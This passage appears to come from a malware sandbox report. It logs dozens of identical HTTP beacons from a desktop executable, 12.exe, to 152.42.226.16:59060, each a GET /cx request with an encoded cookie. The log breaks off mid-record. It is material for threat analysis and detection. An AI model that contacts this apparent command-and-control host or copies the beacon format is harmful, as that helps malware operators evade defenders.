28	192.168.2.4	49811	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:20.445466042 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49817	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:23.509773970 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49823	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:26.454684973 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49829	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:29.422482967 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49839	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:32.329576015 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49846	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:35.282052994 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49852	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:38.175260067 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49858	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:41.077363968 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49869	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:43.975519896 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49875	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:46.910454988 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49881	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:49.798528910 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49887	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:52.706290007 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49896	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:55.766638041 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49904	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:58.656970024 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49910	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:01.581043959 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49916	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:04.487708092 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49925	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:07.375737906 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49933	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:10.273402929 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49939	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:13.159877062 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49945	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:16.272543907 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49954	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:19.157583952 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49962	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:22.064928055 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49968	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:24.961429119 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49973	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:27.845325947 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49978	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:30.744345903 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49987	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:33.642071962 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49994	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:36.584374905 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50000	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:39.533180952 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50009	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:42.461770058 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50016	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:45.363850117 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50022	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:48.253293991 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50029	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:51.145812988 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50036	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:54.033323050 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50045	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:56.974014044 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50050	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:30:59.861352921 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50056	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:02.750802040 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50063	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
